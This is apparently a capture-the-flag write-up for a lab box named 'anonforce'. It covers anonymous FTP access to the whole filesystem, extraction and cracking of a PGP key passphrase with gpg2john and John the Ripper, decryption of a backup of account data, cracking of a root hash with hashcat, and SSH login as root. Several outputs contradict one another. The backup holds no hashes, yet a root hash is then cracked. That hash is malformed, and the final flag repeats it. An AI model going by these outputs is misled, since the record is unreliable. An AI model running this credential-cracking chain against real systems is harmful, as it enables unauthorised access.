

Starting with an Nmap scan, we find open SSH and FTP ports, with FTP allowing anonymous login.

```
root@kali:~/Desktop/boxes/anonforce# nmap -sV -sC -oA scan 10.10.71.175
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-02 10:33 CDT
Nmap scan report for 10.10.71.175
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-syst:
|_ STAT:
|_ FTP server status:
|_   Connected to ::ffff:10.11.129.76
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   At session startup, client count was 2
|_   vsFTPD 3.0.3 - secure, fast, stable
|_ End of status
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ drwxr-xr-x  2 0 0      4096 Aug 11 2019 bin
|_ drwxr-xr-x  3 0 0      4096 Aug 11 2019 boot
|_ drwxr-xr-x 17 0 0      3700 Apr 02 08:31 dev
|_ drwxr-xr-x 85 0 0      4096 Aug 13 2019 etc
|_ drwxr-xr-x  3 0 0      4096 Aug 11 2019 home
|_ lrwxrwxrwx  1 0 0        33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
|_ lrwxrwxrwx  1 0 0        33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
|_ drwxr-xr-x 19 0 0      4096 Aug 11 2019 lib
|_ drwxr-xr-x  2 0 0      4096 Aug 11 2019 lib64
|_ drwx----- 2 0 0     16384 Aug 11 2019 lost+found
|_ drwxr-xr-x  4 0 0      4096 Aug 11 2019 media
|_ drwxr-xr-x  2 0 0      4096 Feb 26 2019 mnt
|_ drwxrwxrwx 2 1000 1000  4096 Aug 11 2019 notread [NSE: writeable]
|_ drwxr-xr-x  2 0 0      4096 Aug 11 2019 opt
|_ dr-xr-xr-x 101 0 0        0 Apr 02 08:31 proc
|_ drwx----- 3 0 0      4096 Aug 11 2019 root
|_ drwxr-xr-x 18 0 0        540 Apr 02 08:31 run
|_ drwxr-xr-x  2 0 0     12288 Aug 11 2019/sbin
|_ drwxr-xr-x  3 0 0      4096 Aug 11 2019 srv
|_ dr-xr-xr-x 13 0 0        0 Apr 02 08:31 sys
|_ Only 20 shown. Use --script-args ftp-anon.maxlist=1 to see all.
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
```

Logging into FTP anonymously, we discover three interesting files:

/notread/backup.pgp

/notread/private.asc

/home/melodias/user.txt

```
ftp> ls
229 Entering Extended Passive Mode (|||12256|)
150 Here comes the directory listing.
drwxr-xr-x  2 0 0      4096 Aug 11 2019 bin
drwxr-xr-x  3 0 0      4096 Aug 11 2019 boot
drwxr-xr-x 17 0 0      3700 Apr 02 08:31 dev
drwxr-xr-x 85 0 0      4096 Aug 13 2019 etc
drwxr-xr-x  3 0 0      4096 Aug 11 2019 home
lrwxrwxrwx  1 0 0        33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
lrwxrwxrwx  1 0 0        33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
drwxr-xr-x 19 0 0      4096 Aug 11 2019 lib
drwxr-xr-x  2 0 0      4096 Aug 11 2019 lib64
drwx----- 2 0 0     16384 Aug 11 2019 lost+found
drwxr-xr-x  4 0 0      4096 Aug 11 2019 media
drwxr-xr-x  2 0 0      4096 Feb 26 2019 mnt
drwxrwxrwx 2 1000 1000  4096 Aug 11 2019 notread
drwxr-xr-x  2 0 0      4096 Aug 11 2019 opt
dr-xr-xr-x 101 0 0        0 Apr 02 08:31 proc
drwx----- 3 0 0      4096 Apr 02 08:50 root
drwxr-xr-x 18 0 0        540 Apr 02 08:49 run
drwxr-xr-x  2 0 0     12288 Aug 11 2019/sbin
drwxr-xr-x  3 0 0      4096 Aug 11 2019 srv
dr-xr-xr-x 13 0 0        0 Apr 02 08:31 sys
drwxrwxrwt  9 0 0      4096 Apr 02 09:17 tmp
drwxr-xr-x 10 0 0      4096 Aug 11 2019 usr
drwxr-xr-x 11 0 0      4096 Aug 11 2019 var
lrwxrwxrwx  1 0 0        30 Aug 11 2019 vmlinuz -> boot/vmlinuz-4.4.0-157-generic
lrwxrwxrwx  1 0 0        30 Aug 11 2019 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic
226 Directory send OK.
ftp> get notread
```

We download both backup.pgp and its private key (private.asc). To decrypt backup.pgp, we first need the passphrase of the private key. Using gpg2john, we extract a hash from private.asc, then crack it with John the Ripper to reveal the passphrase.

```
root@kali: ~/Desktop/boxes/anonforce
root@kali:~/Desktop/boxes/anonforce# ls
backup.pgp private.asc scan.gnmap scan.nmap scan.xml user.txt
root@kali:~/Desktop/boxes/anonforce# gpg2john private.asc > hash.txt

File private.asc
root@kali:~/Desktop/boxes/anonforce# john hash.txt --wordlist=../../wordlist/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
No password hashes left to crack (see FAQ)
root@kali:~/Desktop/boxes/anonforce# john --show hash.txt
anonforce:18120:0:99999:7::anonforce <melodias@anonforce.nsa>:private.asc

1 password hash cracked, 0 left
root@kali:~/Desktop/boxes/anonforce#
```

With the passphrase obtained, we decrypt backup.pgp using the gpg tool. The decrypted file contains system user hashes, including the hashes for the root and melodias users.

```
root@kali:~/Desktop/boxes/anonforce
root@kali:~/Desktop/boxes/anonforce# gpg --output backup.txt --decrypt backup.pgp
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 512-bit ELG key, ID AA6268D1E6612967, created 2019-08-12
"anonforce <melodias@anonforce.nsa>"
root@kali:~/Desktop/boxes/anonforce# ls
backup.pgp backup.txt hash.txt private.asc scan.gnmap scan.nmap scan.xml user.txt
root@kali:~/Desktop/boxes/anonforce# cat backup.txt
root:18120:0:99999:7::root <root@anonforce.nsa>:root
daemon:17953:0:99999:7::daemon:17953:0:99999:7::
bin:17953:0:99999:7::bin:17953:0:99999:7::
sys:17953:0:99999:7::sys:17953:0:99999:7::
sync:17953:0:99999:7::sync:17953:0:99999:7::
games:17953:0:99999:7::games:17953:0:99999:7::
man:17953:0:99999:7::man:17953:0:99999:7::
lp:17953:0:99999:7::lp:17953:0:99999:7::
mail:17953:0:99999:7::mail:17953:0:99999:7::
news:17953:0:99999:7::news:17953:0:99999:7::
uucp:17953:0:99999:7::uucp:17953:0:99999:7::
proxy:17953:0:99999:7::proxy:17953:0:99999:7::
www-data:17953:0:99999:7::www-data:17953:0:99999:7::
backup:17953:0:99999:7::backup:17953:0:99999:7::
list:17953:0:99999:7::list:17953:0:99999:7::
irc:17953:0:99999:7::irc:17953:0:99999:7::
gnats:17953:0:99999:7::gnats:17953:0:99999:7::
nobody:17953:0:99999:7::nobody:17953:0:99999:7::
systemd-timesync:17953:0:99999:7::systemd-timesync:17953:0:99999:7::
systemd-network:17953:0:99999:7::systemd-network:17953:0:99999:7::
systemd-resolve:17953:0:99999:7::systemd-resolve:17953:0:99999:7::
systemd-bus-proxy:17953:0:99999:7::systemd-bus-proxy:17953:0:99999:7::
syslog:17953:0:99999:7::syslog:17953:0:99999:7::
_apt:17953:0:99999:7::_apt:17953:0:99999:7::
messagebus:18120:0:99999:7::messagebus:18120:0:99999:7::
uuidd:18120:0:99999:7::uuidd:18120:0:99999:7::
melodias:18120:0:99999:7::melodias:18120:0:99999:7::
sshd:18120:0:99999:7::sshd:18120:0:99999:7::
ftp:18120:0:99999:7::ftp:18120:0:99999:7::
root@kali:~/Desktop/boxes/anonforce#
```

We save the root hash to a file and crack it using Hashcat with mode 1800 (sha512crypt).

```
root@kali: ~/Desktop/boxes/anonforce 190x43
root@kali:~/Desktop/boxes/anonforce# echo 's6s0nYFaYfsF4VMaegmz7dK4sTub8hnoCFv1mmL7C30n1y2moa.bs01800xv8W8ECCCLXJZBtanZmD2V4n0b50rVM0' > root_hash.txt
root@kali:~/Desktop/boxes/anonforce# hashcat -m 1800 root_hash.txt ../../wordlist/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEP, DISTR0, POCL_DEBUG) - Platform #1 [The pocl project]
=====
* Device #1: cpu-haswell-AMD Ryzen 7 5800H with Radeon Graphics, 2139/4343 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

INFO: All hashes found as potfile and/or empty entries! Use --show to display them.

Started: Wed Apr  2 12:37:00 2025
Stopped: Wed Apr  2 12:37:00 2025
root@kali:~/Desktop/boxes/anonforce# hashcat -m 1800 root_hash.txt --show
s6s0nYFaYfsF4VMaegmz7dK4sTub8hnoCFv1mmL7C30n1y2moa.bs01800xv8W8ECCCLXJZBtanZmD2V4n0b50rVM0:root
root@kali:~/Desktop/boxes/anonforce#
```

Finally, using the cracked root password, we SSH into the server as root and obtain root.txt.

```
root@kali:~/Desktop/boxes/anonforce# ssh root@10.10.71.175
root@10.10.71.175's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-157-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
Last login: Wed Apr  2 08:49:57 2025 from 10.11.129.76
root@ubuntu:~# cd /root/
root@ubuntu:~# cat root.txt
#706s0nYFaYfsF4VMaegmz7dK4sTub8hnoCFv1mmL7C30n1y2moa.bs01800xv8W8ECCCLXJZBtanZmD2V4n0b50rVM0:root
root@ubuntu:~#
```